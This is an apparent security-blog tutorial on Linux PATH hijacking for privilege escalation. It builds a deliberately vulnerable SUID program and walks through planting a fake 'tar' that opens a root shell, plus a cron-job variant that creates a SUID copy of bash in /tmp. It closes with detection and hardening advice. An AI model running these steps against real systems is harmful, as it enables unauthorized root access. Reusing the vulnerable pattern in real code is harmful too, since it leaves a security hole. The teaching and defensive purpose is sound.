PATH Hijacking: Privilege Escalation via Writable PATH Directories and Relative Binaries

Linux Privesc
Time it takes to read this article 6 minutes.

Disclaimer: This article is intended for educational purposes and for authorized security testing only. Run these techniques exclusively against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in most jurisdictions and can carry serious criminal and civil penalties.

Introduction / Overview

PATH hijacking is one of the most reliable and frequently overlooked privilege escalation vectors on Linux. The core idea is simple: when a privileged process invokes another program using a relative path (just a command name, not a full path like /usr/bin/id), the shell or exec family resolves that name by walking the directories listed in the PATH environment variable, left to right. If an attacker controls any of those directories — or controls the PATH variable itself — they can place a malicious binary earlier in the search order and have it executed with the privileges of the calling process.

In this article you will learn how PATH resolution works, how to spot a vulnerable SUID binary or cron job, how to weaponize it with a step-by-step PoC, and — just as importantly — how a blue team detects and prevents it. This technique maps to MITRE ATT&CK T1574.007 (Path Interception by PATH Environment Variable).

How it works / Background

When you run a command, the OS resolves the executable as follows:

  • If the command contains a /, it is treated as an absolute or relative path and used directly.
  • Otherwise, it is treated as a bare command name and looked up in each directory of PATH, in order. The first match wins.

The vulnerability surfaces when a high-privilege program calls something like system("service"), popen("ps"), or execlp("id", ...) instead of system("/usr/sbin/service"). The C library functions system(), popen(), execlp(), and execvp() all perform PATH resolution. A SUID-root binary that calls any of them with a bare name is exploitable if the attacker can influence what that name resolves to.

There are two flavors of the attack:

  1. PATH variable control — the attacker controls the PATH of the privileged process (common with SUID binaries that inherit the caller's environment, and with cron jobs that use a relative command).
  2. Writable PATH directory — a legitimately-searched directory (e.g., a misconfigured /usr/local/bin, or an attacker-controlled directory placed early in a system-wide PATH) is world-writable, so the attacker drops a malicious binary there.

Prerequisites / Lab setup

You need a low-privilege shell and a vulnerable target. Let's build one. Create a tiny SUID-root binary that shells out using a relative path.

// /opt/vuln/backup.c
#include <stdlib.h>
int main(void) {
    setuid(0);
    setgid(0);
    system("tar -czf /tmp/backup.tar.gz /etc/hostname"); // relative: "tar"
    return 0;
}
C

Compile it and make it SUID root (do this as root in your lab):

gcc /opt/vuln/backup.c -o /usr/local/bin/backup
chown root:root /usr/local/bin/backup
chmod 4755 /usr/local/bin/backup
Bash

Now switch to an unprivileged user for the attack.

Attack walkthrough / PoC

Step 1 — Enumerate SUID binaries

find / -perm -4000 -type f 2>/dev/null
Bash

You'll see /usr/local/bin/backup in the output. Tools like linpeas.sh flag these automatically and also highlight writable PATH entries.

Step 2 — Confirm it calls a relative path

Inspect the binary for embedded command names. strings is enough here:

strings /usr/local/bin/backup | grep -E 'tar|cp|service|sh'
Bash

Seeing tar -czf ... with no leading slash is the tell. To prove which call the binary makes at runtime, trace it:

ltrace /usr/local/bin/backup 2>&1 | grep -E 'system|exec|popen'
# system("tar -czf /tmp/backup.tar.gz /etc/hostname")
Bash

Because tar has no /, it is resolved through PATH, and this SUID binary inherits our PATH.

Step 3 — Plant the malicious binary

Create a fake tar that spawns a root shell, place it in a directory we control, and prepend that directory to PATH:

mkdir -p /tmp/evil
cat > /tmp/evil/tar <<'EOF'
#!/bin/bash
/bin/bash -p
EOF
chmod +x /tmp/evil/tar
export PATH=/tmp/evil:$PATH
Bash

/bin/bash -p preserves the effective UID so the inherited SUID privileges aren't dropped.

Step 4 — Trigger and escalate

/usr/local/bin/backup
id
# uid=0(root) gid=0(root) groups=0(root)
Bash

The SUID binary resolved tar to /tmp/evil/tar because that directory now sits first in PATH, executing our payload as root.

Variant: cron job with a relative command

Cron is a classic target because crontab files often define their own PATH. If /etc/crontab contains:

PATH=/usr/local/bin:/tmp/scripts:/usr/bin:/bin
* * * * * root cleanup.sh
Bash

and /tmp/scripts (an early PATH entry) is writable, just drop a cleanup.sh there:

cat > /tmp/scripts/cleanup.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
chmod +x /tmp/scripts/cleanup.sh
Bash

When root's cron fires, you get a SUID root shell: /tmp/rootbash -p. Find writable PATH directories with:

echo "$PATH" | tr ':' '\n' | while read d; do [ -w "$d" ] && echo "writable: $d"; done
Bash

This is closely related to abusing other inherited environment variables — see our deep dives on LD_PRELOAD and LD_LIBRARY_PATH abuse and on sudo and SUID misconfigurations.

Attack flow (Mermaid)

PATH Hijacking: Privilege Escalation via Writable PATH Directories and Relative Binaries diagram 1

The diagram shows the path from a low-privilege shell to root: find a privileged process invoking a relative command, then either hijack PATH or write to a searched directory so a malicious binary runs with elevated privileges.

Detection & Defense (Blue Team)

PATH hijacking is almost entirely a configuration and coding problem, so defenses are concrete and high-impact.

1. Always use absolute paths in privileged code. SUID binaries, cron jobs, and systemd units must call /usr/bin/tar, never tar. In C, prefer execve() with a full path over system()/popen()/execlp(). Within a shell script, set a hardened PATH at the top and reference binaries explicitly:

#!/bin/bash
PATH=/usr/sbin:/usr/bin:/sbin:/bin
export PATH
/usr/bin/tar -czf "$dest" "$src"
Bash

2. Reset the environment for SUID programs. A SUID binary should not trust the caller's PATH. Sanitize it before any exec:

setenv("PATH", "/usr/bin:/bin", 1);
C

For sudo, the secure_path option in /etc/sudoers forces a known-good PATH for all sudo-invoked commands:

Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
Bash

3. Eliminate writable directories from PATH. Audit every directory in system PATHs and remove world/group-writable entries (especially . or empty fields, which mean "current directory"):

echo "$PATH" | tr ':' '\n' | while read d; do
  [ -z "$d" ] && echo "EMPTY (== cwd) in PATH"
  [ -w "$d" ] && [ "$(id -u)" -ne 0 ] && echo "user-writable: $d"
done
find / -maxdepth 4 -perm -0002 -type d 2>/dev/null   # world-writable dirs
Bash

4. Audit and monitor. Use auditd to alert on writes to PATH directories and on execution of SUID binaries from unusual locations:

auditctl -w /usr/local/bin -p wa -k path_dir_write
auditctl -a always,exit -F arch=b64 -S execve -F dir=/tmp -k exec_from_tmp
Bash

Mount /tmp, /var/tmp, and /dev/shm with noexec,nosuid,nodev to break the most common drop-and-run payloads. Run periodic scans for new or unexpected SUID files and compare against a baseline (find / -perm -4000 -type f plus integrity tooling like AIDE or Tripwire). EDR/auditd rules that flag a SUID-root process spawning a child from a world-writable directory catch this technique at runtime, mapping cleanly to ATT&CK T1574.007.

5. Least privilege. Question whether each SUID bit is necessary; capabilities (setcap) or sudo rules with secure_path are usually safer than blanket SUID root.

Conclusion

PATH hijacking turns a one-character omission — a missing leading slash — into full root compromise. The offensive workflow is short: find a privileged process that calls a command by name, then control either the PATH variable or a directory inside it, and plant a malicious binary. The defensive workflow is equally clear: absolute paths everywhere, sanitized environments for SUID code, secure_path for sudo, no writable PATH directories, and noexec temp mounts with auditd monitoring. Both sides should add this check to their standard Linux privilege-escalation playbook.

References

Comments

Copied title and URL